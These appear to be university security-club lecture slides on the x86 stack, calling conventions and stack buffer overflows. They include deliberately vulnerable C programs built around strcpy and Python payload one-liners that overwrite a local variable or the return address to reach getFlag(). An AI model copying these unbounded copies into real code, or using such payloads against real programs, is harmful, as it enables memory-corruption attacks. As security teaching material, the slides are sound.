The Stack and Buffer Overflows

March 29th
Overview

- Registers Review
- Introduction to the Stack
- CDECL Calling Conventions
- Introduction to Buffer Overflows
- Buffer Overflow to Local Variable Corruption
- Buffer Overflow to Return Pointer Corruption
<table>
<thead>
<tr>
<th>Register</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EAX</td>
<td>Accumulator (usually used to store return value or function argument)</td>
</tr>
<tr>
<td>EBX</td>
<td>Base register</td>
</tr>
<tr>
<td>ECX</td>
<td>Counter</td>
</tr>
<tr>
<td>EDX</td>
<td>Data (can sometimes be combined with EAX for larger numbers)</td>
</tr>
<tr>
<td>ESP</td>
<td>Stack Pointer (top of stack frame)</td>
</tr>
<tr>
<td>EBP</td>
<td>Base Pointer (bottom of stack frame)</td>
</tr>
<tr>
<td>EIP</td>
<td>Instruction Pointer (current instruction)</td>
</tr>
<tr>
<td>EDI</td>
<td>Destination Index</td>
</tr>
<tr>
<td>ESI</td>
<td>Source Index</td>
</tr>
</tbody>
</table>
What is the stack?

- A LIFO chunk of memory
- Contains variables relevant to local scope
- "Made" of units called frames, which represent the local scope
- In general, contains everything not malloc()'d
The diagram illustrates the memory layout of a program:

- **Text**: Code segment, machine instructions.
- **Data**: Initialized global and static variables.
- **BSS**: Uninitialized global and static variables.
- **Heap**: Dynamic space.
  - `malloc(...) / free(...)`
  - `new(...) / ~`
- **Stack**: Program scratch space.
  - Local variables, pass arguments, etc.

Source: Mitch Adair, FSU Computer Science 2013
Subroutine Calling

- Allocates a new stack frame (establishes new local scope)
- Allows for easy code reuse (C functions)
- Follows specific call conventions to ensure the program can continue after subroutine execution
- We will look at CDECL, which is used by GCC for i386*
https://www.cs.virginia.edu/~evans/cs216/guides/x86.html
Caller responsibilities

- Save caller saved registers (EAX, ECX, EDX) if their values are relevant by pushing them to the stack (the subroutine may return with them modified).
- Parameters are pushed in reverse order (last parameter first.) This will store the first parameter at the lowest address.
- **call** the subroutine, which will push the return address to the stack and then branch to the subroutine.
Callee responsibilities

- Push EBP to the stack, and then move EBP to ESP, “creating” a new stack frame.
- Make space on the stack for local variables by decrementing ESP, and place local variables on the stack. At this point, local variables are at known offsets above EBP and parameters are at known offsets below EBP.
- Save EBX, EDI, and ESI on the stack if they will be changed (ESP and EBP are saved by other means).
- Execute subroutine logic.
Callee cleanup

- Leave return value in EAX
- Restore values of EBX, EDI, and ESI
- Deallocate current stack frame (Move ESP to EBP, handled by `leave`)
- Restore EBP to stored EBP (handled by `leave`)
- Return to the calling address (`ret`)
Caller cleanup

- Remove parameters from the stack
- Restore caller saved registers (EAX, ECX, EDX)
Assembly to C

```
mov eax, DWORD PTR [ebx-0x4]       fgets(userpass, 32, stdin);
mov eax, DWORD PTR [eax]          push eax
sub esp, 0x4                       push 0x20
push eax                           lea eax, [ebp-0x28]
push eax                           push eax
call 80483c0 <fgets@plt>          add esp, 0x10
add esp, 0x10
```
Assembly to C

mov eax, DWORD PTR [ebx-0x4]  fgets(userpass, 32, stdin);
mov eax, DWORD PTR [eax]
sub esp, 0x4
push eax
push 0x20
lea eax, [ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp, 0x10
Assembly to C

```assembly
mov eax, DWORD PTR [ebx-0x4]
mov eax, DWORD PTR [eax]
sub esp, 0x4
push eax
push 0x20
lea eax, [ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp, 0x10
```
mov eax, DWORD PTR [ebx-0x4]
mov eax, DWORD PTR [eax]
sub esp, 0x4
push eax
push 0x20
lea eax, [ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp, 0x10

fgets(userpass, 32, stdin);
Assembly to C

```assembly
mov eax, DWORD PTR [ebx-0x4]
mov eax, DWORD PTR [eax]
sub esp, 0x4
push eax
push 0x20
lea eax, [ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp, 0x10
```

fgets(userpass, 32, stdin);
Assembly to C

```
mov eax, DWORD PTR [ebx-0x4]
mov eax, DWORD PTR [eax]
sub esp, 0x4
push eax
push 0x20
lea eax, [ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp, 0x10
```

fgets(userpass, 32, stdin);
Assembly to C

```assembly
mov eax, DWORD PTR [ebx-0x4]
mov eax, DWORD PTR [eax]
sub esp, 0x4
push eax
push 0x20
lea eax, [ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp, 0x10

fgets(userpass, 32, stdin);
```
Assembly to C

```
moveax,DWORD PTR [ebx-0x4]
mov eax,DWORD PTR [eax]
sub esp,0x4
push eax
push 0x20
lea eax,[ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp,0x10
```
Assembly to C

```
mov eax, DWORD PTR [ebx-0x4]
mov eax, DWORD PTR [eax]
sub esp, 0x4
push eax
push 0x20
lea eax, [ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp, 0x10
```
Assembly to C

```
mov eax, DWORD PTR [ebx-0x4]
mov eax, DWORD PTR [eax]
sub esp, 0x4
push eax
push 0x20
lea eax, [ebp-0x28]
push eax
call 80483c0 <fgets@plt>
add esp, 0x10
```

fgets(userpass, 32, stdin);
Buffer Overflows

- Occurs when memory is written past the area that was allocated for it
- Generally caused by functions that write data without bounds checking i.e. scanf, gets, strcpy
- Allows attacker to write arbitrary data into stack frame, possibly overwriting other values or the return pointer
Popular Buffer Overflows

- Twilight Princess Wii Homebrew - Horse name can be manipulated to be extremely long, causing a buffer overflow which loads a file at the root of the inserted SD card, giving arbitrary code execution
- Similar bug existed in LEGO Indiana Jones and Super Smash Bros. Brawl
- PS2 Independence Exploit
GDB Commands

next - next instruction, steps over functions
step - next instruction, steps into functions
break - set breakpoint
stack # - show the stack # deep
01_bufferoverflow
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int checkAdmin(char* userpass) {
    char checkpass[16];
    int admin = 0;
    strcpy(checkpass, userpass);
    if (strcmp("utdcsg\n", userpass) == 0) {
        admin = 1;
    }
    return admin;
}

void getFlag() {
    system("cat flag.txt");
}

int main() {
    char userpass[32];
    printf("Enter your password: ");
    fgets(userpass, 32, stdin);
    if(checkAdmin(userpass) != 0) {
        getFlag();
    } else {
        printf("Ah ah ah, you didn't say the magic word!\n");
    }
}
Goal: Change value of admin
Crafting a payload

- This can be done by passing typing 16 A’s and hitting enter, but that is less fun.
- Ideally, we send a 20 byte string, with the last 4 bytes set to the value we want `admin` to take.
- Sending any more than 20 bytes could lead to interesting behavior if we aren’t careful.
- Problem: Some byte values can’t be typed easily.
- Warning: x86 is little endian, so in each word (4 bytes), the least significant byte will be on the left hand side.
Crafting a payload

- `printf \x69\x85\x04\x08`
- `python -c 'print \x69\x85\x04\x08'`
- `perl -e 'print \x69\x85\x04\x08'`
Crafting a payload efficiently

- Python has a struct library that will pack binary data
- `python -c "import struct; print 'A' * 16 + struct.pack('<i', 1337)"
- Will fill checkpass with A’s, and will then set admin to equal 1337
Stack when leaving checkAdmin() after exploit

<p>| | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>0000</td>
<td>0xfffffd7a0</td>
<td>0xf7fe784b</td>
<td>add esi, 0x157b5</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0004</td>
<td>0xfffffd7a4</td>
<td>0x804a000</td>
<td>0x8049f10</td>
<td>0x1</td>
<td></td>
</tr>
<tr>
<td>0008</td>
<td>0xfffffd7a8</td>
<td>0xf7e04700</td>
<td>(0xf7e04700)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>checkpass 0012</td>
<td>0xfffffd7ac ('A' &lt;repeats 16 times&gt;, &quot;9\005&quot;)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>checkpass 0016</td>
<td>0xfffffd7b0 ('A' &lt;repeats 12 times&gt;, &quot;9\005&quot;)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>checkpass 0020</td>
<td>0xfffffd7b4 (&quot;AAAAAAA9\005&quot;)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>checkpass 0024</td>
<td>0xfffffd7b8 (&quot;AAAA9\005&quot;)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>admin = 1337 0028</td>
<td>0xfffffd7bc</td>
<td>0x539</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>GCC 0032</td>
<td>0xfffffd7c0</td>
<td>0x1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Old EBX 0036</td>
<td>0xfffffd7c4</td>
<td>0x804a000</td>
<td>0x8049f10</td>
<td>0x1</td>
<td></td>
</tr>
<tr>
<td>Old EBP 0040</td>
<td>0xfffffd7c8</td>
<td>0xffffffffd868</td>
<td>0x0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Old EIP 0044</td>
<td>0xfffffd7cc</td>
<td>0x80485f7 (&lt;main+94&gt;): add</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int checkAdmin(char* userpass) {
    char checkpass[16];
    int admin = 0;
    strcpy(checkpass, userpass);
    if (strcmp("utdcsg\n", userpass) == 0) {
        admin = 1;
    }
    return admin;
}

void getFlag() {
    system("cat flag.txt");
}

int main() {
    char userpass[32];
    printf("Enter your password: ");
    fgets(userpass, 32, stdin);
    if(checkAdmin(userpass) != 0) {
        getFlag();
    } else {
        printf("Ah ah ah, you didn't say the magic word!\n");
    }
}```
02_bufferoverflow
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int checkAdmin(char* userpass) {
    char checkpass[16];
    strcpy(checkpass, userpass);
    if (strcmp("utdcsq\n", userpass) == 0) {
        return 1;
    }
    return 0;
}

void getFlag() {
    system("cat flag.txt");
}

int main() {
    char userpass[128];
    printf("Enter your password: ");
    fgets(userpass, 128, stdin);

    if(checkAdmin(userpass) != 0) {
        getFlag();
    } else {
        printf("Ah ah ah, you didn't say the magic word!\n");
    }
}
```
01_bufferoverflow

```assembly
  code
  mov   DWORD PTR [ebp-0xc], 0x1
  mov   eax, DWORD PTR [ebp-0xc]
  mov   ebx, DWORD PTR [ebp-0x4]
leave
ret
```

02_bufferoverflow

```assembly
  code
  mov   eax, 0x1
  jmp   0x8048564 <checkAdmin+73>
  mov   eax, 0x0
  mov   ebx, DWORD PTR [ebp-0x4]
leave
ret
```
Goal: call getFlag()
Stack when leaving checkAdmin()

```
[-------------------------------------------stack-----------]
checkpass 0000 0xfffffd7b0 ("passwordpassword\n")
checkpass 0004 0xfffffd7b4 ("wordpassword\n")
checkpass 0008 0xfffffd7b8 ("password\n")
checkpass 0012 0xfffffd7bc ("wor\n")
  GCC 0016 0xfffffd7c0 -- 0x0
  Old EBX 0020 0xfffffd7c4 -- 0x804a000 -- 0x8049f10 -- 0x1
  Old EBP 0024 0xfffffd7c8 -- 0xfffffd868 -- 0x0
  Old EIP 0028 0xfffffd7cc -- 0x80485f2 (<main+94>: add
```
Where to go?

```
code

0x804855d <checkAdmin+66>:    jmp   0x8048564 <checkAdmin+73>
0x804855f <checkAdmin+68>:    mov   eax,0x0
0x8048564 <checkAdmin+73>:    mov   ebx,DWORD PTR [ebp-0x4]
=> 0x8048567 <checkAdmin+76>:   leave
0x8048568 <checkAdmin+77>:    ret
0x8048569 <getFlag>:    push   ebp
0x804856a <getFlag+1>:    mov    ebp,esp
0x804856c <getFlag+3>:    push   ebx
```
Crafting a payload

- 28 Garbage Bytes
- Return Address: 0x08048569
- python -c "import struct; print 'A' * 28 + struct.pack('<i', 0x08048569)"
- Profit?
Stack when leaving checkAdmin() after exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int checkAdmin(char* userpass) {
    char checkpass[16];
    strcpy(checkpass, userpass);
    if (strcmp("utdcsg\n", userpass) == 0) {
        return 1;
    } else {
        return 0;
    }
}

void getFlag() {
    system("cat flag.txt");
}

int main() {
    char userpass[128];
    printf("Enter your password: ");
    fgets(userpass, 128, stdin);
    if (checkAdmin(userpass) != 0) {
        getFlag();
    } else {
        printf("Ah ah ah, you didn't say the magic word!\n");
    }
}
Questions?
Resources

RPSEC Class - https://github.com/RPSEC/MBE

Past Presentations - https://csg.utdallas.edu/presentations/binary/

x86 Assembly Guide - https://www.cs.virginia.edu/~evans/cs216/guides/x86.html

Practice - http://pwnable.kr/
Future Events

- 4/5/17 - Shellcoding: Writing your own Win()
- Potentially format string vulnerabilities, ROP, and ALSR bypassing